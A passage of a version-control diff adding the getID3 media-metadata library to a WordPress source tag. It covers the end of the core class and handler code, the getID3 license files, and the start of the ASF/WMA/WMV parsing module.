+			if (isset($this->info['audio']['dataformat']) && empty($this->info['video']['resolution_x'])) {
+				// audio only
+				$this->info['audio']['bitrate'] = $this->info['bitrate'];
+			} elseif (isset($this->info['video']['resolution_x']) && empty($this->info['audio']['dataformat'])) {
+				// video only
+				$this->info['video']['bitrate'] = $this->info['bitrate'];
+			}
+		}
+
+		// Set playtime string
+		if (!empty($this->info['playtime_seconds']) && empty($this->info['playtime_string'])) {
+			$this->info['playtime_string'] = getid3_lib::PlaytimeString($this->info['playtime_seconds']);
+		}
+	}
+
+
+	public function CalculateCompressionRatioVideo() {
+		if (empty($this->info['video'])) {
+			return false;
+		}
+		if (empty($this->info['video']['resolution_x']) || empty($this->info['video']['resolution_y'])) {
+			return false;
+		}
+		if (empty($this->info['video']['bits_per_sample'])) {
+			return false;
+		}
+
+		switch ($this->info['video']['dataformat']) {
+			case 'bmp':
+			case 'gif':
+			case 'jpeg':
+			case 'jpg':
+			case 'png':
+			case 'tiff':
+				$FrameRate = 1;
+				$PlaytimeSeconds = 1;
+				$BitrateCompressed = $this->info['filesize'] * 8;
+				break;
+
+			default:
+				if (!empty($this->info['video']['frame_rate'])) {
+					$FrameRate = $this->info['video']['frame_rate'];
+				} else {
+					return false;
+				}
+				if (!empty($this->info['playtime_seconds'])) {
+					$PlaytimeSeconds = $this->info['playtime_seconds'];
+				} else {
+					return false;
+				}
+				if (!empty($this->info['video']['bitrate'])) {
+					$BitrateCompressed = $this->info['video']['bitrate'];
+				} else {
+					return false;
+				}
+				break;
+		}
+		$BitrateUncompressed = $this->info['video']['resolution_x'] * $this->info['video']['resolution_y'] * $this->info['video']['bits_per_sample'] * $FrameRate;
+
+		$this->info['video']['compression_ratio'] = $BitrateCompressed / $BitrateUncompressed;
+		return true;
+	}
+
+
+	public function CalculateCompressionRatioAudio() {
+		if (empty($this->info['audio']['bitrate']) || empty($this->info['audio']['channels']) || empty($this->info['audio']['sample_rate']) || !is_numeric($this->info['audio']['sample_rate'])) {
+			return false;
+		}
+		$this->info['audio']['compression_ratio'] = $this->info['audio']['bitrate'] / ($this->info['audio']['channels'] * $this->info['audio']['sample_rate'] * (!empty($this->info['audio']['bits_per_sample']) ? $this->info['audio']['bits_per_sample'] : 16));
+
+		if (!empty($this->info['audio']['streams'])) {
+			foreach ($this->info['audio']['streams'] as $streamnumber => $streamdata) {
+				if (!empty($streamdata['bitrate']) && !empty($streamdata['channels']) && !empty($streamdata['sample_rate'])) {
+					$this->info['audio']['streams'][$streamnumber]['compression_ratio'] = $streamdata['bitrate'] / ($streamdata['channels'] * $streamdata['sample_rate'] * (!empty($streamdata['bits_per_sample']) ? $streamdata['bits_per_sample'] : 16));
+				}
+			}
+		}
+		return true;
+	}
+
+
+	public function CalculateReplayGain() {
+		if (isset($this->info['replay_gain'])) {
+			if (!isset($this->info['replay_gain']['reference_volume'])) {
+				$this->info['replay_gain']['reference_volume'] = (double) 89.0;
+			}
+			if (isset($this->info['replay_gain']['track']['adjustment'])) {
+				$this->info['replay_gain']['track']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['track']['adjustment'];
+			}
+			if (isset($this->info['replay_gain']['album']['adjustment'])) {
+				$this->info['replay_gain']['album']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['album']['adjustment'];
+			}
+
+			if (isset($this->info['replay_gain']['track']['peak'])) {
+				$this->info['replay_gain']['track']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['track']['peak']);
+			}
+			if (isset($this->info['replay_gain']['album']['peak'])) {
+				$this->info['replay_gain']['album']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['album']['peak']);
+			}
+		}
+		return true;
+	}
+
+	public function ProcessAudioStreams() {
+		if (!empty($this->info['audio']['bitrate']) || !empty($this->info['audio']['channels']) || !empty($this->info['audio']['sample_rate'])) {
+			if (!isset($this->info['audio']['streams'])) {
+				foreach ($this->info['audio'] as $key => $value) {
+					if ($key != 'streams') {
+						$this->info['audio']['streams'][0][$key] = $value;
+					}
+				}
+			}
+		}
+		return true;
+	}
+
+	public function getid3_tempnam() {
+		return tempnam($this->tempdir, 'gI3');
+	}
+
+	public function include_module($name) {
+		//if (!file_exists($this->include_path.'module.'.$name.'.php')) {
+		if (!file_exists(GETID3_INCLUDEPATH.'module.'.$name.'.php')) {
+			throw new getid3_exception('Required module.'.$name.'.php is missing.');
+		}
+		include_once(GETID3_INCLUDEPATH.'module.'.$name.'.php');
+		return true;
+	}
+
+    public static function is_writable ($filename) {
+        $ret = is_writable($filename);
+
+        if (!$ret) {
+            $perms = fileperms($filename);
+            $ret = ($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002);
+        }
+
+        return $ret;
+    }
+
+}
+
+
+abstract class getid3_handler {
+
+	/**
+	* @var getID3
+	*/
+	protected $getid3;                       // pointer
+
+	protected $data_string_flag     = false; // analyzing filepointer or string
+	protected $data_string          = '';    // string to analyze
+	protected $data_string_position = 0;     // seek position in string
+	protected $data_string_length   = 0;     // string length
+
+	private $dependency_to = null;
+
+
+	public function __construct(getID3 $getid3, $call_module=null) {
+		$this->getid3 = $getid3;
+
+		if ($call_module) {
+			$this->dependency_to = str_replace('getid3_', '', $call_module);
+		}
+	}
+
+
+	// Analyze from file pointer
+	abstract public function Analyze();
+
+
+	// Analyze from string instead
+	public function AnalyzeString($string) {
+		// Enter string mode
+		$this->setStringMode($string);
+
+		// Save info
+		$saved_avdataoffset = $this->getid3->info['avdataoffset'];
+		$saved_avdataend    = $this->getid3->info['avdataend'];
+		$saved_filesize     = (isset($this->getid3->info['filesize']) ? $this->getid3->info['filesize'] : null); // may be not set if called as dependency without openfile() call
+
+		// Reset some info
+		$this->getid3->info['avdataoffset'] = 0;
+		$this->getid3->info['avdataend']    = $this->getid3->info['filesize'] = $this->data_string_length;
+
+		// Analyze
+		$this->Analyze();
+
+		// Restore some info
+		$this->getid3->info['avdataoffset'] = $saved_avdataoffset;
+		$this->getid3->info['avdataend']    = $saved_avdataend;
+		$this->getid3->info['filesize']     = $saved_filesize;
+
+		// Exit string mode
+		$this->data_string_flag = false;
+	}
+
+	public function setStringMode($string) {
+		$this->data_string_flag   = true;
+		$this->data_string        = $string;
+		$this->data_string_length = strlen($string);
+	}
+
+	protected function ftell() {
+		if ($this->data_string_flag) {
+			return $this->data_string_position;
+		}
+		return ftell($this->getid3->fp);
+	}
+
+	protected function fread($bytes) {
+		if ($this->data_string_flag) {
+			$this->data_string_position += $bytes;
+			return substr($this->data_string, $this->data_string_position - $bytes, $bytes);
+		}
+		$pos = $this->ftell() + $bytes;
+		if (!getid3_lib::intValueSupported($pos)) {
+			throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') because beyond PHP filesystem limit', 10);
+		}
+
+		//return fread($this->getid3->fp, $bytes);
+		/*
+		* http://www.getid3.org/phpBB3/viewtopic.php?t=1930
+		* "I found out that the root cause for the problem was how getID3 uses the PHP system function fread().
+		* It seems to assume that fread() would always return as many bytes as were requested.
+		* However, according the PHP manual (http://php.net/manual/en/function.fread.php), this is the case only with regular local files, but not e.g. with Linux pipes.
+		* The call may return only part of the requested data and a new call is needed to get more."
+		*/
+		$contents = '';
+		do {
+			$part = fread($this->getid3->fp, $bytes);
+			$partLength  = strlen($part);
+			$bytes      -= $partLength;
+			$contents   .= $part;
+		} while (($bytes > 0) && ($partLength > 0));
+		return $contents;
+	}
+
+	protected function fseek($bytes, $whence=SEEK_SET) {
+		if ($this->data_string_flag) {
+			switch ($whence) {
+				case SEEK_SET:
+					$this->data_string_position = $bytes;
+					break;
+
+				case SEEK_CUR:
+					$this->data_string_position += $bytes;
+					break;
+
+				case SEEK_END:
+					$this->data_string_position = $this->data_string_length + $bytes;
+					break;
+			}
+			return 0;
+		} else {
+			$pos = $bytes;
+			if ($whence == SEEK_CUR) {
+				$pos = $this->ftell() + $bytes;
+			} elseif ($whence == SEEK_END) {
+				$pos = $this->getid3->info['filesize'] + $bytes;
+			}
+			if (!getid3_lib::intValueSupported($pos)) {
+				throw new getid3_exception('cannot fseek('.$pos.') because beyond PHP filesystem limit', 10);
+			}
+		}
+		return fseek($this->getid3->fp, $bytes, $whence);
+	}
+
+	protected function feof() {
+		if ($this->data_string_flag) {
+			return $this->data_string_position >= $this->data_string_length;
+		}
+		return feof($this->getid3->fp);
+	}
+
+	final protected function isDependencyFor($module) {
+		return $this->dependency_to == $module;
+	}
+
+	protected function error($text) {
+		$this->getid3->info['error'][] = $text;
+
+		return false;
+	}
+
+	protected function warning($text) {
+		return $this->getid3->warning($text);
+	}
+
+	protected function notice($text) {
+		// does nothing for now
+	}
+
+	public function saveAttachment($name, $offset, $length, $image_mime=null) {
+		try {
+
+			// do not extract at all
+			if ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_NONE) {
+
+				$attachment = null; // do not set any
+
+			// extract to return array
+			} elseif ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_INLINE) {
+
+				$this->fseek($offset);
+				$attachment = $this->fread($length); // get whole data in one pass, till it is anyway stored in memory
+				if ($attachment === false || strlen($attachment) != $length) {
+					throw new Exception('failed to read attachment data');
+				}
+
+			// assume directory path is given
+			} else {
+
+				// set up destination path
+				$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
+				if (!is_dir($dir) || !getID3::is_writable($dir)) { // check supplied directory
+					throw new Exception('supplied path ('.$dir.') does not exist, or is not writable');
+				}
+				$dest = $dir.DIRECTORY_SEPARATOR.$name.($image_mime ? '.'.getid3_lib::ImageExtFromMime($image_mime) : '');
+
+				// create dest file
+				if (($fp_dest = fopen($dest, 'wb')) == false) {
+					throw new Exception('failed to create file '.$dest);
+				}
+
+				// copy data
+				$this->fseek($offset);
+				$buffersize = ($this->data_string_flag ? $length : $this->getid3->fread_buffer_size());
+				$bytesleft = $length;
+				while ($bytesleft > 0) {
+					if (($buffer = $this->fread(min($buffersize, $bytesleft))) === false || ($byteswritten = fwrite($fp_dest, $buffer)) === false || ($byteswritten === 0)) {
+						throw new Exception($buffer === false ? 'not enough data to read' : 'failed to write to destination file, may be not enough disk space');
+					}
+					$bytesleft -= $byteswritten;
+				}
+
+				fclose($fp_dest);
+				$attachment = $dest;
+
+			}
+
+		} catch (Exception $e) {
+
+			// close and remove dest file if created
+			if (isset($fp_dest) && is_resource($fp_dest)) {
+				fclose($fp_dest);
+				unlink($dest);
+			}
+
+			// do not set any is case of error
+			$attachment = null;
+			$this->warning('Failed to extract attachment '.$name.': '.$e->getMessage());
+
+		}
+
+		// seek to the end of attachment
+		$this->fseek($offset + $length);
+
+		return $attachment;
+	}
+
+}
+
+
+class getid3_exception extends Exception
+{
+	public $message;
+}
Index: /tags/5.0.20/src/wp-includes/ID3/license.commercial.txt
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/license.commercial.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/license.commercial.txt	(revision 56912)
@@ -0,0 +1,27 @@
+                  getID3() Commercial License
+                  ===========================
+
+getID3() is licensed under the "GNU Public License" (GPL) and/or the
+"getID3() Commercial License" (gCL). This document describes the gCL.
+
+---------------------------------------------------------------------
+
+The license is non-exclusively granted to a single person or company,
+per payment of the license fee, for the lifetime of that person or
+company. The license is non-transferrable.
+
+The gCL grants the licensee the right to use getID3() in commercial
+closed-source projects. Modifications may be made to getID3() with no
+obligation to release the modified source code. getID3() (or pieces
+thereof) may be included in any number of projects authored (in whole
+or in part) by the licensee.
+
+The licensee may use any version of getID3(), past, present or future,
+as is most convenient. This license does not entitle the licensee to
+receive any technical support, updates or bugfixes, except as such are
+made publicly available to all getID3() users.
+
+The licensee may not sub-license getID3() itself, meaning that any
+commercially released product containing all or parts of getID3() must
+have added functionality beyond what is available in getID3();
+getID3() itself may not be re-licensed by the licensee.
Index: /tags/5.0.20/src/wp-includes/ID3/license.txt
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/license.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/license.txt	(revision 56912)
@@ -0,0 +1,29 @@
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+
+*****************************************************************
+*****************************************************************
+
+   getID3() is released under multiple licenses. You may choose
+   from the following licenses, and use getID3 according to the
+   terms of the license most suitable to your project.
+
+GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
+         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
+         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)
+
+GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)
+
+Mozilla MPL: http://www.mozilla.org/MPL/2.0/                 (v2)
+
+getID3 Commercial License: http://getid3.org/#gCL (payment required)
+
+*****************************************************************
+*****************************************************************
+
+Copies of each of the above licenses are included in the 'licenses'
+directory of the getID3 distribution.
Index: /tags/5.0.20/src/wp-includes/ID3/module.audio-video.asf.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.audio-video.asf.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.audio-video.asf.php	(revision 56912)
@@ -0,0 +1,2013 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio-video.asf.php                                  //
+// module for analyzing ASF, WMA and WMV files                 //
+// dependencies: module.audio-video.riff.php                   //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);
+
+class getid3_asf extends getid3_handler {
+
+	public function __construct(getID3 $getid3) {
+		parent::__construct($getid3);  // extends getid3_handler::__construct()
+
+		// initialize all GUID constants
+		$GUIDarray = $this->KnownGUIDs();
+		foreach ($GUIDarray as $GUIDname => $hexstringvalue) {
+			if (!defined($GUIDname)) {
+				define($GUIDname, $this->GUIDtoBytestring($hexstringvalue));
+			}
+		}
+	}
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		// Shortcuts
+		$thisfile_audio = &$info['audio'];
+		$thisfile_video = &$info['video'];
+		$info['asf']  = array();
+		$thisfile_asf = &$info['asf'];
+		$thisfile_asf['comments'] = array();
+		$thisfile_asf_comments    = &$thisfile_asf['comments'];
+		$thisfile_asf['header_object'] = array();
+		$thisfile_asf_headerobject     = &$thisfile_asf['header_object'];
+
+
+		// ASF structure:
+		// * Header Object [required]
+		//   * File Properties Object [required]   (global file attributes)
+		//   * Stream Properties Object [required] (defines media stream & characteristics)
+		//   * Header Extension Object [required]  (additional functionality)
+		//   * Content Description Object          (bibliographic information)
+		//   * Script Command Object               (commands for during playback)
+		//   * Marker Object                       (named jumped points within the file)
+		// * Data Object [required]
+		//   * Data Packets
+		// * Index Object
+
+		// Header Object: (mandatory, one only)
+		// Field Name                   Field Type   Size (bits)
+		// Object ID                    GUID         128             // GUID for header object - GETID3_ASF_Header_Object
+		// Object Size                  QWORD        64              // size of header object, including 30 bytes of Header Object header
+		// Number of Header Objects     DWORD        32              // number of objects in header object
+		// Reserved1                    BYTE         8               // hardcoded: 0x01
+		// Reserved2                    BYTE         8               // hardcoded: 0x02
+
+		$info['fileformat'] = 'asf';
+
+		$this->fseek($info['avdataoffset']);
+		$HeaderObjectData = $this->fread(30);
+
+		$thisfile_asf_headerobject['objectid']      = substr($HeaderObjectData, 0, 16);
+		$thisfile_asf_headerobject['objectid_guid'] = $this->BytestringToGUID($thisfile_asf_headerobject['objectid']);
+		if ($thisfile_asf_headerobject['objectid'] != GETID3_ASF_Header_Object) {
+			unset($info['fileformat'], $info['asf']);
+			return $this->error('ASF header GUID {'.$this->BytestringToGUID($thisfile_asf_headerobject['objectid']).'} does not match expected "GETID3_ASF_Header_Object" GUID {'.$this->BytestringToGUID(GETID3_ASF_Header_Object).'}');
+		}
+		$thisfile_asf_headerobject['objectsize']    = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 16, 8));
+		$thisfile_asf_headerobject['headerobjects'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 24, 4));
+		$thisfile_asf_headerobject['reserved1']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 28, 1));
+		$thisfile_asf_headerobject['reserved2']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 29, 1));
+
+		$NextObjectOffset = $this->ftell();
+		$ASFHeaderData = $this->fread($thisfile_asf_headerobject['objectsize'] - 30);
+		$offset = 0;
+
+		for ($HeaderObjectsCounter = 0; $HeaderObjectsCounter < $thisfile_asf_headerobject['headerobjects']; $HeaderObjectsCounter++) {
+			$NextObjectGUID = substr($ASFHeaderData, $offset, 16);
+			$offset += 16;
+			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
+			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+			$offset += 8;
+			switch ($NextObjectGUID) {
+
+				case GETID3_ASF_File_Properties_Object:
+					// File Properties Object: (mandatory, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for file properties object - GETID3_ASF_File_Properties_Object
+					// Object Size                  QWORD        64              // size of file properties object, including 104 bytes of File Properties Object header
+					// File ID                      GUID         128             // unique ID - identical to File ID in Data Object
+					// File Size                    QWORD        64              // entire file in bytes. Invalid if Broadcast Flag == 1
+					// Creation Date                QWORD        64              // date & time of file creation. Maybe invalid if Broadcast Flag == 1
+					// Data Packets Count           QWORD        64              // number of data packets in Data Object. Invalid if Broadcast Flag == 1
+					// Play Duration                QWORD        64              // playtime, in 100-nanosecond units. Invalid if Broadcast Flag == 1
+					// Send Duration                QWORD        64              // time needed to send file, in 100-nanosecond units. Players can ignore this value. Invalid if Broadcast Flag == 1
+					// Preroll                      QWORD        64              // time to buffer data before starting to play file, in 1-millisecond units. If <> 0, PlayDuration and PresentationTime have been offset by this amount
+					// Flags                        DWORD        32              //
+					// * Broadcast Flag             bits         1  (0x01)       // file is currently being written, some header values are invalid
+					// * Seekable Flag              bits         1  (0x02)       // is file seekable
+					// * Reserved                   bits         30 (0xFFFFFFFC) // reserved - set to zero
+					// Minimum Data Packet Size     DWORD        32              // in bytes. should be same as Maximum Data Packet Size. Invalid if Broadcast Flag == 1
+					// Maximum Data Packet Size     DWORD        32              // in bytes. should be same as Minimum Data Packet Size. Invalid if Broadcast Flag == 1
+					// Maximum Bitrate              DWORD        32              // maximum instantaneous bitrate in bits per second for entire file, including all data streams and ASF overhead
+
+					// shortcut
+					$thisfile_asf['file_properties_object'] = array();
+					$thisfile_asf_filepropertiesobject      = &$thisfile_asf['file_properties_object'];
+
+					$thisfile_asf_filepropertiesobject['offset']             = $NextObjectOffset + $offset;
+					$thisfile_asf_filepropertiesobject['objectid']           = $NextObjectGUID;
+					$thisfile_asf_filepropertiesobject['objectid_guid']      = $NextObjectGUIDtext;
+					$thisfile_asf_filepropertiesobject['objectsize']         = $NextObjectSize;
+					$thisfile_asf_filepropertiesobject['fileid']             = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_filepropertiesobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_filepropertiesobject['fileid']);
+					$thisfile_asf_filepropertiesobject['filesize']           = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['creation_date']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$thisfile_asf_filepropertiesobject['creation_date_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_filepropertiesobject['creation_date']);
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['data_packets']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['play_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['send_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['preroll']            = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_filepropertiesobject['flags']['broadcast'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0001);
+					$thisfile_asf_filepropertiesobject['flags']['seekable']  = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0002);
+
+					$thisfile_asf_filepropertiesobject['min_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_filepropertiesobject['max_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_filepropertiesobject['max_bitrate']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+
+					if ($thisfile_asf_filepropertiesobject['flags']['broadcast']) {
+
+						// broadcast flag is set, some values invalid
+						unset($thisfile_asf_filepropertiesobject['filesize']);
+						unset($thisfile_asf_filepropertiesobject['data_packets']);
+						unset($thisfile_asf_filepropertiesobject['play_duration']);
+						unset($thisfile_asf_filepropertiesobject['send_duration']);
+						unset($thisfile_asf_filepropertiesobject['min_packet_size']);
+						unset($thisfile_asf_filepropertiesobject['max_packet_size']);
+
+					} else {
+
+						// broadcast flag NOT set, perform calculations
+						$info['playtime_seconds'] = ($thisfile_asf_filepropertiesobject['play_duration'] / 10000000) - ($thisfile_asf_filepropertiesobject['preroll'] / 1000);
+
+						//$info['bitrate'] = $thisfile_asf_filepropertiesobject['max_bitrate'];
+						$info['bitrate'] = ((isset($thisfile_asf_filepropertiesobject['filesize']) ? $thisfile_asf_filepropertiesobject['filesize'] : $info['filesize']) * 8) / $info['playtime_seconds'];
+					}
+					break;
+
+				case GETID3_ASF_Stream_Properties_Object:
+					// Stream Properties Object: (mandatory, one per media stream)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for stream properties object - GETID3_ASF_Stream_Properties_Object
+					// Object Size                  QWORD        64              // size of stream properties object, including 78 bytes of Stream Properties Object header
+					// Stream Type                  GUID         128             // GETID3_ASF_Audio_Media, GETID3_ASF_Video_Media or GETID3_ASF_Command_Media
+					// Error Correction Type        GUID         128             // GETID3_ASF_Audio_Spread for audio-only streams, GETID3_ASF_No_Error_Correction for other stream types
+					// Time Offset                  QWORD        64              // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream
+					// Type-Specific Data Length    DWORD        32              // number of bytes for Type-Specific Data field
+					// Error Correction Data Length DWORD        32              // number of bytes for Error Correction Data field
+					// Flags                        WORD         16              //
+					// * Stream Number              bits         7 (0x007F)      // number of this stream.  1 <= valid <= 127
+					// * Reserved                   bits         8 (0x7F80)      // reserved - set to zero
+					// * Encrypted Content Flag     bits         1 (0x8000)      // stream contents encrypted if set
+					// Reserved                     DWORD        32              // reserved - set to zero
+					// Type-Specific Data           BYTESTREAM   variable        // type-specific format data, depending on value of Stream Type
+					// Error Correction Data        BYTESTREAM   variable        // error-correction-specific format data, depending on value of Error Correct Type
+
+					// There is one GETID3_ASF_Stream_Properties_Object for each stream (audio, video) but the
+					// stream number isn't known until halfway through decoding the structure, hence it
+					// it is decoded to a temporary variable and then stuck in the appropriate index later
+
+					$StreamPropertiesObjectData['offset']             = $NextObjectOffset + $offset;
+					$StreamPropertiesObjectData['objectid']           = $NextObjectGUID;
+					$StreamPropertiesObjectData['objectid_guid']      = $NextObjectGUIDtext;
+					$StreamPropertiesObjectData['objectsize']         = $NextObjectSize;
+					$StreamPropertiesObjectData['stream_type']        = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$StreamPropertiesObjectData['stream_type_guid']   = $this->BytestringToGUID($StreamPropertiesObjectData['stream_type']);
+					$StreamPropertiesObjectData['error_correct_type'] = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$StreamPropertiesObjectData['error_correct_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['error_correct_type']);
+					$StreamPropertiesObjectData['time_offset']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$StreamPropertiesObjectData['type_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$StreamPropertiesObjectData['error_data_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$StreamPropertiesObjectData['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$StreamPropertiesObjectStreamNumber               = $StreamPropertiesObjectData['flags_raw'] & 0x007F;
+					$StreamPropertiesObjectData['flags']['encrypted'] = (bool) ($StreamPropertiesObjectData['flags_raw'] & 0x8000);
+
+					$offset += 4; // reserved - DWORD
+					$StreamPropertiesObjectData['type_specific_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['type_data_length']);
+					$offset += $StreamPropertiesObjectData['type_data_length'];
+					$StreamPropertiesObjectData['error_correct_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['error_data_length']);
+					$offset += $StreamPropertiesObjectData['error_data_length'];
+
+					switch ($StreamPropertiesObjectData['stream_type']) {
+
+						case GETID3_ASF_Audio_Media:
+							$thisfile_audio['dataformat']   = (!empty($thisfile_audio['dataformat'])   ? $thisfile_audio['dataformat']   : 'asf');
+							$thisfile_audio['bitrate_mode'] = (!empty($thisfile_audio['bitrate_mode']) ? $thisfile_audio['bitrate_mode'] : 'cbr');
+
+							$audiodata = getid3_riff::parseWAVEFORMATex(substr($StreamPropertiesObjectData['type_specific_data'], 0, 16));
+							unset($audiodata['raw']);
+							$thisfile_audio = getid3_lib::array_merge_noclobber($audiodata, $thisfile_audio);
+							break;
+
+						case GETID3_ASF_Video_Media:
+							$thisfile_video['dataformat']   = (!empty($thisfile_video['dataformat'])   ? $thisfile_video['dataformat']   : 'asf');
+							$thisfile_video['bitrate_mode'] = (!empty($thisfile_video['bitrate_mode']) ? $thisfile_video['bitrate_mode'] : 'cbr');
+							break;
+
+						case GETID3_ASF_Command_Media:
+						default:
+							// do nothing
+							break;
+
+					}
+
+					$thisfile_asf['stream_properties_object'][$StreamPropertiesObjectStreamNumber] = $StreamPropertiesObjectData;
+					unset($StreamPropertiesObjectData); // clear for next stream, if any
+					break;
+
+				case GETID3_ASF_Header_Extension_Object:
+					// Header Extension Object: (mandatory, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Header Extension object - GETID3_ASF_Header_Extension_Object
+					// Object Size                  QWORD        64              // size of Header Extension object, including 46 bytes of Header Extension Object header
+					// Reserved Field 1             GUID         128             // hardcoded: GETID3_ASF_Reserved_1
+					// Reserved Field 2             WORD         16              // hardcoded: 0x00000006
+					// Header Extension Data Size   DWORD        32              // in bytes. valid: 0, or > 24. equals object size minus 46
+					// Header Extension Data        BYTESTREAM   variable        // array of zero or more extended header objects
+
+					// shortcut
+					$thisfile_asf['header_extension_object'] = array();
+					$thisfile_asf_headerextensionobject      = &$thisfile_asf['header_extension_object'];
+
+					$thisfile_asf_headerextensionobject['offset']              = $NextObjectOffset + $offset;
+					$thisfile_asf_headerextensionobject['objectid']            = $NextObjectGUID;
+					$thisfile_asf_headerextensionobject['objectid_guid']       = $NextObjectGUIDtext;
+					$thisfile_asf_headerextensionobject['objectsize']          = $NextObjectSize;
+					$thisfile_asf_headerextensionobject['reserved_1']          = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_headerextensionobject['reserved_1_guid']     = $this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']);
+					if ($thisfile_asf_headerextensionobject['reserved_1'] != GETID3_ASF_Reserved_1) {
+						$this->warning('header_extension_object.reserved_1 GUID ('.$this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']).') does not match expected "GETID3_ASF_Reserved_1" GUID ('.$this->BytestringToGUID(GETID3_ASF_Reserved_1).')');
+						//return false;
+						break;
+					}
+					$thisfile_asf_headerextensionobject['reserved_2']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					if ($thisfile_asf_headerextensionobject['reserved_2'] != 6) {
+						$this->warning('header_extension_object.reserved_2 ('.getid3_lib::PrintHexBytes($thisfile_asf_headerextensionobject['reserved_2']).') does not match expected value of "6"');
+						//return false;
+						break;
+					}
+					$thisfile_asf_headerextensionobject['extension_data_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_headerextensionobject['extension_data']      =                              substr($ASFHeaderData, $offset, $thisfile_asf_headerextensionobject['extension_data_size']);
+					$unhandled_sections = 0;
+					$thisfile_asf_headerextensionobject['extension_data_parsed'] = $this->HeaderExtensionObjectDataParse($thisfile_asf_headerextensionobject['extension_data'], $unhandled_sections);
+					if ($unhandled_sections === 0) {
